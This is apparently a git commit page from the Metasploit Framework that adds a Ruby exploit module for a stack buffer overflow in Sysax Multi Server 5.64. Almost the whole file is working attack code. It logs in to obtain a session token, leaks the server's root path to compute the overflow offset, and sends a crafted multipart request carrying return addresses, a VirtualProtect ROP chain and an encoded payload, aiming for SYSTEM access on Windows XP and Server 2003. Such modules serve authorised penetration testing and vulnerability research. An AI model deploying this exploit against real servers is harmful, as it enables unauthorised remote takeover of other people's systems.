Merge branch 'master' of github.com:rapid7/metasploit-framework
sinn3r
commit
73eab8a8ee
|
|
@ -0,0 +1,192 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Sysax Multi Server 5.64 Create Folder Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack buffer overflow in the create folder function in
|
||||
Sysax Multi Server 5.64. This issue was fixed in 5.66. In order to trigger the
|
||||
vulnerability valid credentials with the create folder permission must be provided.
|
||||
The HTTP option must be enabled on Sysax too.
|
||||
|
||||
This module will log into the server, get a SID token, find the root folder, and
|
||||
then proceed to exploit the server. Successful exploits result in SYSTEM access.
|
||||
This exploit works on XP SP3, and Server 2003 SP1-SP2.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Matt "hostess" Andreko',
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'EDB', '20676' ],
|
||||
[ 'URL', 'http://www.mattandreko.com/2012/07/sysax-564-http-remote-buffer-overflow.html' ],
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00\x2F\x0d\x0a", # 0d and 0a are only bad, due to the Rex::MIME replacing 0d with 0d0a in the message#to_s
|
||||
'Space' => '1299',
|
||||
'DisableNops' => true,
|
||||
},
|
||||
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows XP SP3 / Sysax Multi Server 5.64',
|
||||
{
|
||||
'Rop' => false,
|
||||
'Ret' => 0x77c35459, # push esp # ret [msvcrt.dll]
|
||||
'Offset' => 711,
|
||||
}
|
||||
],
|
||||
[ 'Windows 2003 SP1-SP2 / Sysax Multi Server 5.64',
|
||||
{
|
||||
'Rop' => true,
|
||||
'Ret' => 0x77baf605, # pop esi; pop ebp; retn 0c; [msvcrt.dll] (pivot)
|
||||
'Offset' => 711,
|
||||
'Nop' => 0x77bd7d82, # RETN (ROP NOP) [msvcrt.dll]
|
||||
}
|
||||
],
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DisclosureDate'=> 'Jul 29 2012',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The URI path to the Sysax web application', '/']),
|
||||
Opt::RPORT(80),
|
||||
OptString.new('SysaxUSER', [ true, "Username" ]),
|
||||
OptString.new('SysaxPASS', [ true, "Password" ])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def create_rop_chain()
|
||||
rop_gadgets = []
|
||||
|
||||
# ROP chains provided by Corelan.be
|
||||
# https://www.corelan.be/index.php/security/corelan-ropdb/#msvcrtdll_8211_v7037903959_Windows_2003_SP1_SP2
|
||||
if (target == targets[1]) # Windows 2003
|
||||
rop_gadgets =
|
||||
[
|
||||
0x77be3adb, # POP EAX # RETN [msvcrt.dll]
|
||||
0x77ba1114, # ptr to &VirtualProtect() [IAT msvcrt.dll]
|
||||
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN [msvcrt.dll]
|
||||
0x41414141, # Filler (compensate)
|
||||
0x77bb0c86, # XCHG EAX,ESI # RETN [msvcrt.dll]
|
||||
0x77bdb896, # POP EBP # RETN [msvcrt.dll]
|
||||
0x77be2265, # & push esp # ret [msvcrt.dll]
|
||||
0x77bdeebf, # POP EAX # RETN [msvcrt.dll]
|
||||
0x2cfe0668, # put delta into eax (-> put 0x00000201 into ebx)
|
||||
0x77bdfb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
|
||||
0x77bdfe37, # ADD EBX,EAX # OR EAX,3000000 # RETN [msvcrt.dll]
|
||||
0x77bdf0da, # POP EAX # RETN [msvcrt.dll]
|
||||
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into edx)
|
||||
0x77bdfb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
|
||||
0x77bb8285, # XCHG EAX,EDX # RETN [msvcrt.dll]
|
||||
0x77bcc2ee, # POP ECX # RETN [msvcrt.dll]
|
||||
0x77befbb4, # &Writable location [msvcrt.dll]
|
||||
0x77bbf75e, # POP EDI # RETN [msvcrt.dll]
|
||||
0x77bd7d82, # RETN (ROP NOP) [msvcrt.dll]
|
||||
0x77bdf0da, # POP EAX # RETN [msvcrt.dll]
|
||||
0x90909090, # nop
|
||||
0x77be6591, # PUSHAD # ADD AL,0EF # RETN [msvcrt.dll]
|
||||
].flatten.pack("V*")
|
||||
end
|
||||
|
||||
return rop_gadgets
|
||||
|
||||
end
|
||||
|
||||
def get_sid
|
||||
|
||||
user = datastore['SysaxUSER']
|
||||
pass = datastore['SysaxPASS']
|
||||
|
||||
creds = "fd=#{Rex::Text.encode_base64(user+"\x0a"+pass)}"
|
||||
|
||||
# Login to get SID value
|
||||
r = send_request_cgi({
|
||||
'method' => "POST",
|
||||
'uri' => "#{target_uri.to_s}scgi?sid=0&pid=dologin",
|
||||
'data' => creds
|
||||
})
|
||||
|
||||
# Parse response for SID token
|
||||
sid = r.body.match(/sid=([A-Z0-9a-z]{40})/)[1]
|
||||
print_status "SID: #{sid.to_s}"
|
||||
|
||||
sid.to_s
|
||||
|
||||
end
|
||||
|
||||
def get_root_path(sid)
|
||||
|
||||
# Find the path because it's used to help calculate the offset
|
||||
random_folder_name = rand_text_alpha(8) # This folder should not exist in the root dir
|
||||
|
||||
r = send_request_cgi({
|
||||
'uri' => "#{target_uri.to_s}scgi?sid=#{sid}&pid=transferpage2_name1_#{random_folder_name}.htm",
|
||||
'method' => 'POST',
|
||||
})
|
||||
|
||||
# Example message: invalid path: C:\Documents and Settings\Administrator\Desktop\9dk2hdh2.
|
||||
# Root Path should be C:\Documents and Settings\Administrator\Desktop (no trailing slash)
|
||||
root_path = r.body.match(/^invalid path: (.*)\\#{random_folder_name}\.$/)[1]
|
||||
print_status "Root Dir: #{root_path}"
|
||||
|
||||
root_path
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
connect
|
||||
|
||||
sid = get_sid
|
||||
root_path = get_root_path(sid)
|
||||
|
||||
buffer = rand_text(target['Offset']-root_path.length)
|
||||
buffer << [target.ret].pack('V')
|
||||
|
||||
if (target['Rop'])
|
||||
buffer << [target['Nop']].pack('V')*16
|
||||
buffer << create_rop_chain()
|
||||
end
|
||||
|
||||
buffer << make_nops(15)
|
||||
buffer << payload.encoded
|
||||
|
||||
post_data = Rex::MIME::Message.new
|
||||
post_data.add_part(buffer, nil, nil, "form-data; name=\"e2\"")
|
||||
post_data.bound = rand_text_numeric(57) # example; "---------------------------12816808881949705206242427669"
|
||||
|
||||
r = send_request_cgi({
|
||||
'uri' => "#{target_uri.to_s}scgi?sid=#{sid}&pid=mk_folder2_name1.htm",
|
||||
'method' => 'POST',
|
||||
'data' => post_data.to_s,
|
||||
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
||||
})
|
||||
|
||||
disconnect
|
||||
|
||||
end
|
||||
end
|
||||
Loading…
Reference in New Issue